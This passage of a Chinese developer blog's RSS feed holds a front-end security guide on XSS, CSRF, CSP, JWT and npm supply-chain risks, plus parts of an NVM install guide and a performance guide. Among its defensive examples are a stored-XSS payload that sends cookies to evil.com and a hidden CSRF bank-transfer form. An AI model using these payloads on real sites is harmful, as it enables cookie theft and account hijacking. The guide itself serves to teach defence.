</ul>
<hr />
<h2>总结</h2>
<p>NVM 是每个 Node.js 开发者必备的工具。它让版本管理变得简单、安全、高效。花 10 分钟安装配置，未来能节省无数小时的排错时间。</p>
<p><strong>立即行动：</strong></p>
<pre><code class="language-bash"># 1. 安装 NVM
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.4/install.sh | bash

# 2. 配置国内镜像（重要！）
echo 'export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/' &gt;&gt; ~/.zshrc
source ~/.zshrc

# 3. 安装 Node.js
nvm install 20
nvm use 20

# 4. 验证
node -v
npm -v</code></pre>
<hr />
<p><em>最后更新：2026 年 4 月</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:31:08 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=49</guid>
</item>
<item>
    <title>前端安全指南 2026：XSS、CSRF、CSP 与 OWASP Top 10 防护实战</title>
    <link>http://blog.kaiyu.work/?post=48</link>
    <description><![CDATA[<h1>前端安全指南 2026：XSS、CSRF、CSP 与 OWASP Top 10 防护实战</h1>
<blockquote>
<p><strong>预计阅读时间：30 分钟</strong> | <strong>适合人群：所有前端开发者</strong></p>
</blockquote>
<p>根据 Verizon 2025 数据泄露报告：</p>
<ul>
<li><strong>43%</strong> 的数据泄露源于 Web 应用攻击</li>
<li><strong>XSS 攻击</strong>占所有 Web 攻击的 <strong>65%</strong></li>
<li>平均每次数据泄露成本高达 <strong>445 万美元</strong></li>
</ul>
<p>前端安全不再是&quot;后端的事&quot;。作为前端开发者，我们是用户数据的第一道防线。</p>
<p>这篇文章，我们系统讲解前端常见安全威胁和防护方案，帮你构建安全的前端应用。</p>
<hr />
<h2>一、OWASP Top 10 2025 前端相关风险</h2>
<p>OWASP（开放 Web 应用安全项目）每 3-4 年更新一次 Top 10 风险列表。2025 年前端需要重点关注的风险：</p>
<table>
<thead>
<tr>
<th>排名</th>
<th>风险</th>
<th>前端关联度</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>失效的访问控制</td>
<td>⭐⭐⭐</td>
</tr>
<tr>
<td>2</td>
<td>加密机制失效</td>
<td>⭐⭐</td>
</tr>
<tr>
<td>3</td>
<td>注入攻击（XSS/SQL）</td>
<td>⭐⭐⭐⭐⭐</td>
</tr>
<tr>
<td>4</td>
<td>不安全的设计</td>
<td>⭐⭐⭐</td>
</tr>
<tr>
<td>5</td>
<td>安全配置错误</td>
<td>⭐⭐⭐⭐</td>
</tr>
<tr>
<td>6</td>
<td>易受攻击的组件</td>
<td>⭐⭐⭐⭐</td>
</tr>
<tr>
<td>7</td>
<td>身份认证失效</td>
<td>⭐⭐⭐</td>
</tr>
<tr>
<td>8</td>
<td>软件/数据完整性失败</td>
<td>⭐⭐</td>
</tr>
<tr>
<td>9</td>
<td>安全日志/监控失败</td>
<td>⭐⭐</td>
</tr>
<tr>
<td>10</td>
<td>SSRF</td>
<td>⭐⭐</td>
</tr>
</tbody>
</table>
<p><strong>前端重点防护</strong>：XSS、CSRF、CSP、依赖安全、身份认证。</p>
<hr />
<h2>二、XSS（跨站脚本攻击）防护</h2>
<h3>2.1 什么是 XSS？</h3>
<p>XSS（Cross-Site Scripting）是指攻击者向网页注入恶意脚本，当其他用户访问时执行。</p>
<p><strong>攻击原理</strong>：</p>
<pre><code>用户输入 → 未过滤 → 存储到数据库 → 其他用户访问 → 恶意脚本执行</code></pre>
<p><strong>危害</strong>：</p>
<ul>
<li>窃取用户 Cookie/Session</li>
<li>劫持用户账户</li>
<li>钓鱼攻击</li>
<li>传播恶意软件</li>
</ul>
<h3>2.2 XSS 三种类型</h3>
<h4>类型 1：存储型 XSS（最危险）</h4>
<p>恶意脚本永久存储在服务器（数据库、评论区、用户资料）。</p>
<pre><code class="language-javascript">// ❌ 危险：直接渲染用户输入
&lt;div dangerouslySetInnerHTML={{ __html: userComment }} /&gt;

// 攻击示例
用户输入：&lt;script&gt;document.location='http://evil.com/steal?cookie='+document.cookie&lt;/script&gt;</code></pre>
<p><strong>防护方案</strong>：</p>
<pre><code class="language-javascript">// ✅ 方案 1：使用文本节点，不解析 HTML
&lt;div&gt;{userComment}&lt;/div&gt;

// ✅ 方案 2：HTML 实体编码
function escapeHTML(str) {
  return str.replace(/[&amp;&lt;&gt;'"]/g, 
    tag =&gt; ({
      '&amp;': '&amp;amp;',
      '&lt;': '&amp;lt;',
      '&gt;': '&amp;gt;',
      "'": '&amp;#39;',
      '"': '&amp;quot;'
    }[tag]));
}

// ✅ 方案 3：使用 DOMPurify 过滤（需要渲染 HTML 时）
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
&lt;div dangerouslySetInnerHTML={{ __html: clean }} /&gt;</code></pre>
<h4>类型 2：反射型 XSS</h4>
<p>恶意脚本通过 URL 参数传递，立即在页面中反射执行。</p>
<pre><code class="language-javascript">// ❌ 危险：直接使用 URL 参数
const searchQuery = new URLSearchParams(location.search).get('q');
&lt;div&gt;搜索结果：{searchQuery}&lt;/div&gt;

// 攻击链接
https://example.com/search?q=&lt;script&gt;stealCookie()&lt;/script&gt;</code></pre>
<p><strong>防护方案</strong>：</p>
<pre><code class="language-javascript">// ✅ 方案 1：始终编码输出
function encodeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

const searchQuery = encodeHTML(new URLSearchParams(location.search).get('q'));

// ✅ 方案 2：使用框架的自动转义
// React/Vue 默认转义插值表达式
&lt;p&gt;{searchQuery}&lt;/p&gt;  // ✅ 安全

// ✅ 方案 3：CSP 限制脚本执行
&lt;meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'"&gt;</code></pre>
<h4>类型 3：DOM 型 XSS</h4>
<p>恶意脚本通过修改 DOM 执行，不经过服务器。</p>
<pre><code class="language-javascript">// ❌ 危险：innerHTML + 用户可控数据
const userInput = location.hash.slice(1);
document.getElementById('content').innerHTML = userInput;

// 攻击链接
https://example.com/#&lt;script&gt;evil()&lt;/script&gt;</code></pre>
<p><strong>防护方案</strong>：</p>
<pre><code class="language-javascript">// ✅ 方案 1：使用 textContent
document.getElementById('content').textContent = userInput;

// ✅ 方案 2：使用安全的 DOM API
const div = document.createElement('div');
div.textContent = userInput;
container.appendChild(div);

// ✅ 方案 3：避免使用危险 API
// 危险 API 列表：
// - innerHTML
// - outerHTML
// - document.write()
// - eval()
// - setTimeout(string)
// - setInterval(string)
// - Function() 构造函数</code></pre>
<h3>2.3 前端 XSS 防护清单</h3>
<pre><code class="language-javascript">// 1. 永远不要信任用户输入
// 所有输入都必须验证和转义

// 2. 使用框架的安全特性
// React: 默认转义，避免 dangerouslySetInnerHTML
// Vue: 使用 {{ }} 而非 v-html
// Angular: 自动转义，避免 bypassSecurityTrust

// 3. 设置 HTTP Only Cookie
// 后端设置：Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict

// 4. 启用 CSP（内容安全策略）
// 见下一节

// 5. 使用安全库
// DOMPurify: HTML  sanitization
// js-xss: 服务端过滤
// helmet: Express 安全中间件

// 6. 定期扫描依赖
npm audit
npm audit fix</code></pre>
<hr />
<h2>三、CSRF（跨站请求伪造）防护</h2>
<h3>3.1 什么是 CSRF？</h3>
<p>CSRF（Cross-Site Request Forgery）是指攻击者诱导用户在已登录状态下执行非预期操作。</p>
<p><strong>攻击原理</strong>：</p>
<pre><code>用户登录银行网站 → Cookie 保存在浏览器 → 访问恶意网站 → 
恶意网站发起转账请求 → 浏览器自动携带 Cookie → 转账成功</code></pre>
<h3>3.2 CSRF 攻击示例</h3>
<pre><code class="language-html">&lt;!-- 攻击者网站 --&gt;
&lt;img src="https://bank.com/transfer?to=attacker&amp;amount=10000" 
     style="display:none"&gt;

&lt;!-- 或者使用自动提交的表单 --&gt;
&lt;form action="https://bank.com/transfer" method="POST" id="csrf"&gt;
  &lt;input type="hidden" name="to" value="attacker"&gt;
  &lt;input type="hidden" name="amount" value="10000"&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('csrf').submit();&lt;/script&gt;</code></pre>
<h3>3.3 CSRF 防护方案</h3>
<h4>方案 1：CSRF Token（最可靠）</h4>
<pre><code class="language-javascript">// 后端生成随机 Token
// 存储在 Session 或 Cookie 中

// 前端携带 Token
// 方式 1：表单隐藏字段
&lt;form method="POST"&gt;
  &lt;input type="hidden" name="csrf_token" value="abc123..."&gt;
&lt;/form&gt;

// 方式 2：请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': 'abc123...',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ to: 'xxx', amount: 100 })
});

// 方式 3：Cookie（Double Submit Cookie）
// 设置 Cookie: csrf_token=abc123; SameSite=Lax
// 请求头：X-CSRF-Token: abc123
// 后端验证两者一致</code></pre>
<h4>方案 2：SameSite Cookie</h4>
<pre><code class="language-javascript">// 后端设置 Cookie
Set-Cookie: session=abc123; SameSite=Strict; Secure

// SameSite 三个值：
// - Strict: 完全禁止跨站发送 Cookie（最安全，但影响用户体验）
// - Lax: 允许 GET 请求跨站（推荐，平衡安全和体验）
// - None: 允许跨站（必须配合 Secure）</code></pre>
<h4>方案 3：验证 Referer/Origin</h4>
<pre><code class="language-javascript">// 后端验证请求来源
const origin = req.headers.origin;
const referer = req.headers.referer;

if (origin !== 'https://yourdomain.com') {
  return res.status(403).send('CSRF detected');
}

// ⚠️ 注意：Referer 可能被伪造或省略，只能作为辅助验证</code></pre>
<h3>3.4 前端 CSRF 防护实践</h3>
<pre><code class="language-javascript">// React 示例：自动添加 CSRF Token
import axios from 'axios';

// 从 Cookie 读取 Token
function getCSRFToken() {
  const match = document.cookie.match(/csrf_token=([^;]+)/);
  return match ? match[1] : null;
}

// Axios 拦截器自动添加 Token
axios.interceptors.request.use(config =&gt; {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method.toUpperCase())) {
    const token = getCSRFToken();
    if (token) {
      config.headers['X-CSRF-Token'] = token;
    }
  }
  return config;
});

// 使用
axios.post('/api/transfer', { to: 'xxx', amount: 100 });</code></pre>
<hr />
<h2>四、CSP（内容安全策略）实战</h2>
<h3>4.1 什么是 CSP？</h3>
<p>CSP（Content Security Policy）通过白名单机制，限制页面可以加载的资源，有效防止 XSS。</p>
<h3>4.2 CSP 配置示例</h3>
<pre><code class="language-html">&lt;!-- 方式 1：Meta 标签 --&gt;
&lt;meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://cdn.example.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               font-src 'self' https://fonts.gstatic.com; 
               connect-src 'self' https://api.example.com; 
               frame-ancestors 'none';"&gt;

&lt;!-- 方式 2：HTTP 响应头（推荐） --&gt;
Content-Security-Policy: default-src 'self'; script-src 'self' ...</code></pre>
<h3>4.3 CSP 指令详解</h3>
<table>
<thead>
<tr>
<th>指令</th>
<th>作用</th>
<th>示例</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default-src</code></td>
<td>默认策略</td>
<td><code>default-src 'self'</code></td>
</tr>
<tr>
<td><code>script-src</code></td>
<td>脚本来源</td>
<td><code>script-src 'self' 'nonce-abc123'</code></td>
</tr>
<tr>
<td><code>style-src</code></td>
<td>样式来源</td>
<td><code>style-src 'self' 'unsafe-inline'</code></td>
</tr>
<tr>
<td><code>img-src</code></td>
<td>图片来源</td>
<td><code>img-src 'self' data: https:</code></td>
</tr>
<tr>
<td><code>font-src</code></td>
<td>字体来源</td>
<td><code>font-src 'self' https://fonts.gstatic.com</code></td>
</tr>
<tr>
<td><code>connect-src</code></td>
<td>AJAX/WebSocket</td>
<td><code>connect-src 'self' https://api.example.com</code></td>
</tr>
<tr>
<td><code>frame-ancestors</code></td>
<td>允许嵌入的父页面</td>
<td><code>frame-ancestors 'none'</code></td>
</tr>
<tr>
<td><code>base-uri</code></td>
<td>限制 base 标签</td>
<td><code>base-uri 'self'</code></td>
</tr>
<tr>
<td><code>form-action</code></td>
<td>限制表单提交地址</td>
<td><code>form-action 'self'</code></td>
</tr>
</tbody>
</table>
<h3>4.4 安全值 vs 危险值</h3>
<pre><code class="language-javascript">// ✅ 安全配置
script-src 'self'                    // 只允许本站脚本
script-src 'self' 'nonce-随机值'      // 带 nonce 的内联脚本
script-src 'self' https://cdn.com    // 指定可信 CDN

// ⚠️ 危险配置（避免使用）
script-src 'unsafe-inline'           // 允许所有内联脚本（XSS 风险）
script-src 'unsafe-eval'             // 允许 eval()（XSS 风险）
script-src *                         // 允许任何来源
script-src 'none'                    // 禁止所有脚本（可能破坏功能）</code></pre>
<h3>4.5 渐进式 CSP 部署</h3>
<pre><code class="language-javascript">// 步骤 1：先使用 Report-Only 模式测试
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// 步骤 2：监控违规报告
// 后端接收报告
app.post('/csp-report', (req, res) =&gt; {
  console.log('CSP Violation:', req.body);
  // 记录日志、发送告警
});

// 步骤 3：修复违规后启用正式 CSP
Content-Security-Policy: default-src 'self'

// 步骤 4：持续监控和优化</code></pre>
<hr />
<h2>五、身份认证与会话安全</h2>
<h3>5.1 Token 存储方案对比</h3>
<table>
<thead>
<tr>
<th>存储方式</th>
<th>安全性</th>
<th>便利性</th>
<th>推荐场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>LocalStorage</strong></td>
<td>⭐⭐</td>
<td>⭐⭐⭐⭐⭐</td>
<td>非敏感应用</td>
</tr>
<tr>
<td><strong>SessionStorage</strong></td>
<td>⭐⭐⭐</td>
<td>⭐⭐⭐⭐</td>
<td>临时会话</td>
</tr>
<tr>
<td><strong>HttpOnly Cookie</strong></td>
<td>⭐⭐⭐⭐⭐</td>
<td>⭐⭐⭐</td>
<td>高安全应用</td>
</tr>
<tr>
<td><strong>内存变量</strong></td>
<td>⭐⭐⭐⭐</td>
<td>⭐⭐</td>
<td>SPA 应用</td>
</tr>
</tbody>
</table>
<h3>5.2 推荐方案：HttpOnly Cookie + CSRF Token</h3>
<pre><code class="language-javascript">// 后端设置
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

// 前端无需处理 Token，浏览器自动携带
// 配合 CSRF Token 防止跨站请求</code></pre>
<h3>5.3 JWT 安全实践</h3>
<pre><code class="language-javascript">// ❌ 危险：Token 永不过期
const token = jwt.sign({ userId }, 'secret');  // 无过期时间

// ✅ 正确：设置过期时间
const token = jwt.sign(
  { userId }, 
  'secret', 
  { expiresIn: '1h' }  // 1 小时过期
);

// ✅ 更好：Refresh Token 机制
// Access Token: 15 分钟过期
// Refresh Token: 7 天过期，存储在 HttpOnly Cookie

// 前端逻辑
async function refreshToken() {
  const res = await fetch('/api/refresh', { 
    method: 'POST',
    credentials: 'include'  // 携带 Cookie
  });
  const { accessToken } = await res.json();
  localStorage.setItem('access_token', accessToken);
}</code></pre>
<h3>5.4 前端认证中间件</h3>
<pre><code class="language-javascript">// Axios 拦截器：自动添加 Token、处理过期
axios.interceptors.request.use(config =&gt; {
  const token = localStorage.getItem('access_token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

axios.interceptors.response.use(
  response =&gt; response,
  async error =&gt; {
    if (error.response?.status === 401) {
      // Token 过期，尝试刷新
      try {
        await refreshToken();
        // 重试原请求
        return axios.request(error.config);
      } catch {
        // 刷新失败，跳转登录
        window.location.href = '/login';
      }
    }
    return Promise.reject(error);
  }
);</code></pre>
<hr />
<h2>六、依赖安全与供应链攻击</h2>
<h3>6.1 npm 依赖风险</h3>
<p>根据 Snyk 2025 报告：</p>
<ul>
<li><strong>46%</strong> 的 npm 包存在已知漏洞</li>
<li>平均每个项目有 <strong>14 个</strong>漏洞依赖</li>
<li>供应链攻击增长 <strong>300%</strong></li>
</ul>
<h3>6.2 依赖安全实践</h3>
<pre><code class="language-bash"># 1. 定期审计
npm audit
npm audit fix

# 2. 使用锁文件
package-lock.json  # 锁定确切版本
yarn.lock
pnpm-lock.yaml

# 3. 限制安装来源
.npmrc:
registry=https://registry.npmmirror.com
strict-ssl=true

# 4. 使用可信的包
# - 检查下载量、Star 数、维护频率
# - 避免安装来路不明的包
# - 优先选择官方/知名库

# 5. 自动化扫描
# GitHub: Dependabot
# GitLab: Dependency Scanning
# Snyk: 商业方案</code></pre>
<h3>6.3 package.json 安全配置</h3>
<pre><code class="language-json">{
  "scripts": {
    "preinstall": "npx only-allow pnpm",
    "postinstall": "npx npm-audit-ci-wrapper",
    "security:check": "npm audit --audit-level=high"
  },
  "overrides": {
    "lodash": "4.17.21",
    "axios": "1.6.0"
  }
}</code></pre>
<h3>6.4 防范 typosquatting 攻击</h3>
<pre><code class="language-bash"># 攻击者注册相似包名诱导安装
# 例如：react-dom vs reactdmo、lodash vs _lodash

# 防护方案
# 1. 仔细检查包名（代码审查）
# 2. 使用包签名验证
# 3. 私有仓库限制外部包

# 检测工具
npm install -g npm-audit
npm audit</code></pre>
<hr />
<h2>七、安全开发最佳实践</h2>
<h3>7.1 输入验证</h3>
<pre><code class="language-javascript">// ❌ 危险：无验证
function createUser(email, name) {
  db.insert({ email, name });
}

// ✅ 正确：白名单验证
const emailSchema = z.string().email();
const nameSchema = z.string().min(1).max(50);

function createUser(email, name) {
  const validEmail = emailSchema.parse(email);
  const validName = nameSchema.parse(name);
  db.insert({ email: validEmail, name: validName });
}

// 使用验证库
// - Zod: TypeScript 优先
// - Joi: 功能丰富
// - Yup: React 友好
// - class-validator: NestJS 生态</code></pre>
<h3>7.2 输出编码</h3>
<pre><code class="language-javascript">// HTML 编码
function escapeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

// URL 编码
const encoded = encodeURIComponent(userInput);

// JSON 编码
const json = JSON.stringify(userInput);  // 自动转义</code></pre>
<h3>7.3 错误处理</h3>
<pre><code class="language-javascript">// ❌ 危险：暴露敏感信息
try {
  // ...
} catch (error) {
  console.error(error);  // 可能泄露堆栈、路径
  res.send(`Error: ${error.message}`);  // 暴露内部逻辑
}

// ✅ 正确：统一错误处理
try {
  // ...
} catch (error) {
  // 记录详细日志（服务端）
  logger.error('User operation failed', { 
    userId, 
    error: error.message,
    stack: error.stack 
  });

  // 返回通用错误（客户端）
  res.status(500).json({ 
    error: '操作失败，请稍后重试',
    code: 'INTERNAL_ERROR'
  });
}</code></pre>
<h3>7.4 安全 Headers</h3>
<pre><code class="language-javascript">// Express 中间件
import helmet from 'helmet';
app.use(helmet());

// 或手动设置
app.use((req, res, next) =&gt; {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
  next();
});</code></pre>
<hr />
<h2>八、安全测试与审计</h2>
<h3>8.1 自动化扫描工具</h3>
<table>
<thead>
<tr>
<th>工具</th>
<th>类型</th>
<th>用途</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>npm audit</strong></td>
<td>依赖扫描</td>
<td>检测已知漏洞</td>
</tr>
<tr>
<td><strong>Snyk</strong></td>
<td>依赖扫描</td>
<td>商业方案，更强大</td>
</tr>
<tr>
<td><strong>ESLint security</strong></td>
<td>代码扫描</td>
<td>检测不安全代码模式</td>
</tr>
<tr>
<td><strong>SonarQube</strong></td>
<td>代码质量</td>
<td>安全规则检测</td>
</tr>
<tr>
<td><strong>OWASP ZAP</strong></td>
<td>渗透测试</td>
<td>自动化安全测试</td>
</tr>
<tr>
<td><strong>Burp Suite</strong></td>
<td>渗透测试</td>
<td>手动安全测试</td>
</tr>
</tbody>
</table>
<h3>8.2 ESLint 安全插件</h3>
<pre><code class="language-javascript">// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection': 'warn',  // eval、Function
    'security/detect-non-literal-fs-filename': 'error',
    'security/detect-unsafe-regex': 'error',
    'security/detect-buffer-noassert': 'error',
    'security/detect-child-process': 'warn',
    'security/detect-disable-mustache-escape': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-no-csrf-before-method-override': 'error',
    'security/detect-non-literal-regexp': 'error',
    'security/detect-non-literal-require': 'warn',
    'security/detect-possible-timing-attacks': 'warn',
    'security/detect-pseudoRandomBytes': 'error',
  }
};</code></pre>
<h3>8.3 安全检查清单</h3>
<pre><code class="language-markdown">## 发布前安全检查

### 代码安全
- [ ] 所有用户输入都经过验证
- [ ] 所有输出都经过编码
- [ ] 无硬编码密钥/密码
- [ ] 无 console.log 敏感信息
- [ ] 错误处理不暴露内部信息

### 依赖安全
- [ ] npm audit 无高危漏洞
- [ ] 所有依赖为最新版本
- [ ] 无来路不明的包

### 配置安全
- [ ] 启用 HTTPS
- [ ] 设置安全 Headers
- [ ] 配置 CSP
- [ ] Cookie 设置 HttpOnly + Secure
- [ ] CORS 配置正确

### 认证授权
- [ ] Token 有过期时间
- [ ] 实现 Refresh Token 机制
- [ ] 敏感操作需要二次验证
- [ ] 权限校验完整

### 测试
- [ ] 通过 ESLint security 检查
- [ ] OWASP ZAP 扫描无高危
- [ ] 渗透测试通过</code></pre>
<hr />
<h2>九、应急响应</h2>
<h3>9.1 发现漏洞后的处理流程</h3>
<pre><code class="language-markdown">1. **确认漏洞**
   - 复现漏洞
   - 评估影响范围
   - 确定严重等级

2. **临时修复**
   - 下线受影响功能
   - 部署紧急补丁
   - 通知用户修改密码

3. **彻底修复**
   - 修复根本原因
   - 全面测试
   - 灰度发布

4. **事后复盘**
   - 编写事故报告
   - 更新安全规范
   - 加强监控

5. **通知相关方**
   - 用户通知（如需）
   - 监管报告（如需）
   - 公开披露（负责任披露）</code></pre>
<h3>9.2 安全事件联系人</h3>
<pre><code class="language-javascript">// 在网站添加安全联系方式
// security.txt 标准：https://example.com/.well-known/security.txt

Contact: security@example.com
Encryption: https://example.com/pgp-key
Acknowledgments: https://example.com/hall-of-fame
Policy: https://example.com/security-policy</code></pre>
<hr />
<h2>总结</h2>
<p>前端安全是一个<strong>持续的过程</strong>，不是一次性的任务。关键要点：</p>
<ol>
<li><strong>XSS 防护</strong>：永远不要信任用户输入，始终编码输出</li>
<li><strong>CSRF 防护</strong>：使用 CSRF Token + SameSite Cookie</li>
<li><strong>CSP</strong>：启用内容安全策略，限制资源加载</li>
<li><strong>认证安全</strong>：使用 HttpOnly Cookie，实现 Token 刷新</li>
<li><strong>依赖安全</strong>：定期审计，使用锁文件</li>
<li><strong>安全测试</strong>：自动化扫描 + 人工审计</li>
</ol>
<p><strong>记住</strong>：安全是每个人的责任。作为前端开发者，我们是用户数据的第一道防线。</p>
<hr />
<p><em>参考资料</em>：</p>
<ul>
<li><a href="https://owasp.org/www-project-top-ten/">OWASP Top 10 2025</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/Security">MDN Web 安全</a></li>
<li><a href="https://web.dev/security/">Google Web 安全</a></li>
<li><a href="https://content-security-policy.com/">CSP 文档</a></li>
</ul>
<p><em>你的项目有什么安全措施？遇到过什么安全事件？欢迎在评论区分享！</em></p>]]></description>
    <pubDate>Thu, 09 Apr 2026 13:23:19 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=48</guid>
</item>
<item>
    <title>前端性能优化实战指南：从 Core Web Vitals 到极致体验</title>
    <link>http://blog.kaiyu.work/?post=44</link>
    <description><![CDATA[<h1>前端性能优化实战指南：从 Core Web Vitals 到极致体验</h1>
<blockquote>
<p><strong>预计阅读时间：25 分钟</strong> | <strong>适合人群：中高级前端开发者</strong></p>
</blockquote>
<p>在用户体验至上的今天，前端性能优化已经不再是&quot;锦上添花&quot;，而是<strong>必备技能</strong>。Google 研究表明：</p>
<ul>
<li>页面加载时间从 1 秒增加到 3 秒，跳出率增加 <strong>32%</strong></li>
<li>移动端页面加载超过 3 秒，<strong>53%</strong> 的用户会离开</li>
<li>LCP 每优化 1 秒，转化率提升 <strong>8%</strong></li>
</ul>
<p>这篇文章，我们从 Core Web Vitals 出发，系统讲解前端性能优化的完整方法论和实战技巧。</p>
<hr />
<h2>一、Core Web Vitals：性能评估的核心指标</h2>
<p>Google 从 2020 年开始推行 Core Web Vitals，2026 年已经成为业界标准。这三个指标直接决定你的 SEO 排名和用户体验。</p>
<h3>1.1 LCP（Largest Contentful Paint）- 最大内容绘制</h3>
<p><strong>定义</strong>：从页面加载到视口中最大内容元素渲染完成的时间。</p>
<p><strong>推荐阈值</strong>：</p>
<ul>
<li>🟢 良好：&lt; 2.5 秒</li>
<li>🟡 需要改进：2.5-4.0 秒</li>
<li>🔴 差：&gt; 4.0 秒</li>
</ul>
<p><strong>优化策略</strong>：</p>
<pre><code class="language-javascript">// 1. 预加载关键资源
&lt;link rel="preload" as="image" href="hero-image.webp"&gt;
&lt;link rel="preload" as="font" href="font.woff2" crossorigin&gt;

// 2. 优化图片加载
&lt;img src="image.webp" 
     srcset="image-480.webp 480w, image-768.webp 768w"
     sizes="(max-width: 768px) 480px, 768px"
     loading="eager"  // 首屏图片不用 lazy
     alt="描述"&gt;

// 3. 使用现代图片格式
// WebP 比 JPEG 小 25-35%，AVIF 小 50%+

// 4. 服务端渲染（SSR）或静态生成（SSG）
// Next.js / Nuxt.js / VitePress</code></pre>
<p><strong>实战案例</strong>：某电商首页 LCP 从 4.2s 优化到 1.8s</p>
<table>
<thead>
<tr>
<th>优化项</th>
<th>提升</th>
</tr>
</thead>
<tbody>
<tr>
<td>首屏图片 WebP + 预加载</td>
<td>-1.2s</td>
</tr>
<tr>
<td>关键 CSS 内联</td>
<td>-0.5s</td>
</tr>
<tr>
<td>字体 font-display: swap</td>
<td>-0.4s</td>
</tr>
<tr>
<td>CDN 加速</td>
<td>-0.3s</td>
</tr>
</tbody>
</table>
<h3>1.2 INP（Interaction to Next Paint）- 交互到下次绘制</h3>
<p><strong>定义</strong>：从用户交互（点击、滚动、输入）到下一帧渲染的时间。<strong>2024 年 3 月起替代 FID</strong>。</p>
<p><strong>推荐阈值</strong>：</p>
<ul>
<li>🟢 良好：&lt; 200 毫秒</li>
<li>🟡 需要改进：200-500 毫秒</li>
<li>🔴 差：&gt; 500 毫秒</li>
</ul>
<p><strong>优化策略</strong>：</p>
<pre><code class="language-javascript">// 1. 防抖（Debounce）- 适合搜索框、resize
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() =&gt; fn.apply(this, args), delay);
  };
}

// 使用
input.addEventListener('input', debounce(handleSearch, 300));

// 2. 节流（Throttle）- 适合滚动、鼠标移动
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() =&gt; inThrottle = false, limit);
    }
  };
}

// 使用
window.addEventListener('scroll', throttle(handleScroll, 100));

// 3. 使用 requestIdleCallback 处理低优先级任务
requestIdleCallback(() =&gt; {
  // 非关键数据分析、日志上报
}, { timeout: 2000 });

// 4. Web Workers 处理计算密集型任务
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) =&gt; console.log(e.data);

// 5. 避免长任务（Long Tasks）- 单个任务 &lt; 50ms
// 将大任务拆分为小任务</code></pre>
<h3>1.3 CLS（Cumulative Layout Shift）- 累积布局偏移</h3>
<p><strong>定义</strong>：页面加载过程中所有意外布局偏移的累计分数。</p>
<p><strong>推荐阈值</strong>：</p>
<ul>
<li>🟢 良好：&lt; 0.1</li>
<li>🟡 需要改进：0.1-0.25</li>
<li>🔴 差：&gt; 0.25</li>
</ul>
<p><strong>常见原因与解决方案</strong>：</p>
<pre><code class="language-html">&lt;!-- 1. 图片/视频未指定尺寸 --&gt;
&lt;!-- ❌ 错误 --&gt;
&lt;img src="hero.jpg" alt="Banner"&gt;

&lt;!-- ✅ 正确：明确宽高或宽高比 --&gt;
&lt;img src="hero.jpg" width="1200" height="600" alt="Banner"&gt;
&lt;!-- 或使用 aspect-ratio --&gt;
&lt;div style="aspect-ratio: 16/9;"&gt;
  &lt;img src="hero.jpg" style="width:100%;height:100%;object-fit:cover;"&gt;
&lt;/div&gt;

&lt;!-- 2. 动态插入内容 --&gt;
&lt;!-- ✅ 预留空间 --&gt;
&lt;div class="ad-container" style="min-height: 250px;"&gt;
  &lt;!-- 广告加载后不会推挤内容 --&gt;
&lt;/div&gt;

&lt;!-- 3. 字体加载导致的 FOIT/FOUT --&gt;
&lt;!-- ✅ 使用 font-display: swap --&gt;
@font-face {
  font-family: 'MyFont';
  src: url('font.woff2') format('woff2');
  font-display: swap;
}

&lt;!-- 4. 懒加载内容预留占位 --&gt;
&lt;div class="lazy-image" style="height: 300px; background: #f0f0f0;"&gt;
  &lt;img data-src="image.jpg" loading="lazy"&gt;
&lt;/div&gt;</code></pre>
<hr />
<h2>二、加载性能优化：让用户更快看到内容</h2>
<h3>2.1 资源压缩与合并</h3>
<pre><code class="language-bash"># 1. 代码压缩（生产环境必须）
# JavaScript: terser, swc, esbuild
# CSS: cssnano, lightningcss
# HTML: html-minifier

# 2. 使用 Brotli/Gzip 压缩
# Nginx 配置
gzip on;
gzip_types text/plain text/css application/json application/javascript;
gzip_min_length 1000;

# 3. 图片压缩
# 工具：squoosh.app, tinypng.com, imagemin</code></pre>
<h3>2.2 代码分割（Code Splitting）</h3>
<pre><code class="language-javascript">// 1. 路由级别分割（React Router / Vue Router）
const Home = lazy(() =&gt; import('./pages/Home'));
